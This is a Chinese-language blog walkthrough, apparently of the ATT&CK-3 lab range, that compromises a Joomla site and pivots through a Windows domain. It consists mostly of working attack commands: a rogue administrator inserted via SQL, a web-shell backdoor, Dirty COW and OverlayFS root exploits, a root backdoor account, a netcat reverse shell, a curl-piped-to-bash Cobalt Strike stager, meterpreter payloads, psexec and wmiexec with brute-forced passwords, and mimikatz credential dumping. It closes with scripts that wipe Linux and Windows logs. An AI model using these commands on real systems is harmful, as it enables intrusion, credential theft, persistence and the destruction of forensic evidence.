ATT&CK-3

首先我们配置网络环境,这里一共有5台机器,我们在虚拟机中的网络编辑器中将网络设置为如下

其中各个主机配置如下

web-centos 192.168.93.100 192.168.252.211
web-ubantu 192.168.93.120
win7 192.168.93.30
win2008 192.168.93.20
win2012 192.168.93.10

这里都是黑盒测试,我们给出ip是为了方便测试网络

信息收集

首先我们使用nmap查找目标机器ip

nmap -A -v -T4 192.168.252.0/24

其中155主机是我自行打开的另一台主机,所以目标主机ip是192.168.252.211

接着我们对其进行详细信息扫描

#基本信息扫描
nmap -sV -O 192.168.252.211
#相关漏洞扫描
nmap -sT -sV -Pn --script=vuln 192.168.252.211

可以看到其开放了80端口,我们就尝试访问其web服务,得到如下界面

以及使用nmap对其进行基础漏洞扫描的时候,发现其cms为joomla

接着我们使用xray对网站进行基本的漏洞扫描

xray webscan --basic-crawler http://192.168.252.211 --html-output vuln.html

在通过CMSeek进行扫描

这里我们通过configuration.php~路径下的信息泄露发现了数据库的账户密码

我们直接登录数据库,通过对数据库的检索,我们找到了后台的账号密码,但是不知道如何解密

接着我们通过官方网站的介绍,我们在数据库中添加admin2:secret超级管理员

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

添加成功之后我们就可以直接登录后台了,通过之前我们对网站信息的收集,我们知道Joomla的版本是3.9.12版本通过对Joomla的漏洞查找,我们知道了在<3.9.15版本之后存在漏洞。

接着我们访问http://192.168.252.211/administrator/index.php?option=com_templates&view=template&id=506&file=L2luZGV4LnBocA#在index.php页面添加后门

接着我们在蚁剑中连接

这里我们尝试执行命令,发现执行什么命令都是返回ret=127

可能是目标机器禁用了一些函数,我们在最开是的信息收集中发现了phpinfo页面,我们在这里进行查看

这里我们看到没有禁用putenv函数,所以我们可以使用LD_PRELOAD绕过,工具下载地址,我们将bypass_disablefunc.phpbypass_disablefunc_x64.so上传到目标服务器上

接着我们执行如下命令进行命令执行

http://192.168.252.211/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/test&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

其中cmd是执行的命令,outpath是读写全写的目录,sopath.so文件的绝对路径。

我们也可以在蚁剑中直接使用插件来绕过

不过这个方法在这里没有返回,我们使用PHP7_UserFilter成功,所以我们还是继续使用之前的方法执行命令获取基本信息,这里我们首先执行ifconfig,看到存在ip192.168.93.120,由此可知web服务在其他机器上。

接着查看目标机器的系统信息

uname -a
cat /proc/version

查看目标机器内核之后,目前提权比较困难我们尝试寻找账号密码相关信息,最终我们在文件中发现一个账号密码

接着我们尝试登录目标机器

内网渗透

我们拿到边界机器之后,我们尝试提权为后续的横向移动做准备,这里我们查看目标机器的内核信息

uname -a

我们使用脚本测试目标程序存在的漏洞,工具下载地址https://github.com/mzet-/linux-exploit-suggester,我们将程序上传到目标机器上

添加执行权限并执行

chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

这里我们可以看到,存在脏牛漏洞,接着我们上传dirty.c并执行,下载地址

漏洞执行完毕之后,默认添加一个账户firefart:password,接着我们切换账户

接着我们进行权限维持,添加root后门,我们创建一个root权限的用户guest:123456

useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld

对WEB(ubuntu)机器进行提权

要对web机器提权,我们需要将其shell反弹到centos机器上,因为web机器不出网,首先我们需要在web(ubuntu)机器上离线安装nc,并在centos上也安装nc(后来发现ubuntu好像自带nc)

#首先我们在本地下载安装包
#64位
http://vault.centos.org/6.6/os/x86_64/Packages/nc-1.84-22.el6.x86_64.rpm
#32位
http://vault.centos.org/6.6/os/i386/Packages/nc-1.84-22.el6.i686.rpm
#安装
rpm -iUv nc-1.84-22.el6.x86_64.rpm
#centos上安装nc
yum install nc.x86_64

接着我们在centos机器上进行监听,在ubuntu上将shell反弹给centos

#centos
nc -l 9995

#ubuntu
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 9995 >/tmp/f

接着查看其基本信息

接下来我们使用CVE-2021-3493进行提权,OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。下载地址

其影响的版本如下

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 19.04
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

我们将下载的文件上传到目标机器并编译执行,最终我们得到root权限

gcc exploit.c -o exploit
./exploit

centos上线CS

接着我们可以使用CS中的CrossC2插件将centos上线CS

curl -A O -o- -L http://cs_server_ip:55413/a | bash -s

CS得到centos的shell

centos上线msf

同样的我们可以让centos上线msf,首先我们生成后门文件

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=4444 -f elf > /tmp/shell.elf

接着我们将后门文件上传到centos上,msf上设置好监听,接着在centos上对后门添加执行权限并执行

横向移动

首先我们在msf上添加路由,并进行存活主机探测

#查看路由信息
run autoroute -p
#查看已拿下的目标主机的内网IP段
run get_local_subnets
#添加一条通向目标服务器内网的路由
run autoroute -s 192.168.93.0/24
#将当前会话放入后台
background
#存活主机探测
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

配置代理

为了方便对内网主机渗透,我们需要配置代理,这里使用msf的socks4模块进行代理

接着配置kali自带的proxychains的代理文件,结果如下

mousepad /etc/proxychains.conf

配置完毕之后我们就可以直接对其进行端口扫描了

proxychains nmap -sS -Pn 192.168.93.10

192.168.93.30机器的扫描

192.168.93.20机器的扫描结果

192.168.93.10机器的扫描结果

我们在msf中对3台主机进行了ms17-010漏洞进行检测,都没发现漏洞,接着我们尝试暴破账号密码

use auxiliary/scanner/smb/smb_login

运气好可以暴破出密码,我看其他大佬的文章大部分都爆出来了,感叹他们字典的强大,这里还有一种方式获取net-ntml直接利用,稍后我在进行尝试,这里我们就跟随大佬的步伐,暴破出密码123qwe!ASD

PsExec漏洞利用

使用PsExec,通过命令行环境和目标机器进行连接,甚至控制目标机器,而不需要通过RDP远程桌面协议进行图形化控制,隐藏了我们的活动。

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run

wmiexec smb登录

wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

#使用wmi获取权限
proxychains python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

定位域控

我们查看其DNS服务器,一般情况下为域控

我们可以得知,域控ip为192.168.93.10,接着我们尝试3389远程登录主机,首先查看目标机器是否开放3389端口

netstat -an | find "3389"

没有得到结果,应该是没有开放,我们手动开启3389并关闭防火墙

#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭防火墙2003以后的命令
netsh advfirewall set allprofiles state off

尝试远程连接192.168.93.20主机

proxychains rdesktop -r disk:data=/tmp 192.168.93.20

其中我们将kali下的/tmp映射到了目标主机上,所以我们可以将工具放在tmp文件夹内,方便我们拷贝,这里我们将mimikatz放到目标机器上

或者使用以下方式上传

smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe

接着我们在mimikatz上运行

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.txt

得到域控密码

ipc远程连接

利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。利用条件:1.管理员开启了默认共享。2.139或445端口开放

#开启ipc
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
#列出共享目录
dir \\192.168.93.10\C$

找到目标flag

拿到域控之后,剩下的机器拿到就很简单了这里就不再赘述了。

痕迹清理

  • Linux
清除命令历史记录
histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:

删除当天日志
sed  -i '/当天日期/'d  filename

一键清除脚本

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
  • windows
有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

wevtutil:

wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志

meterperter自带清除日志功能:
clearev     清除windows中的应用程序日志、系统日志、安全日志

清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
最后修改:2022 年 02 月 16 日
如果觉得我的文章对你有用,请随意赞赏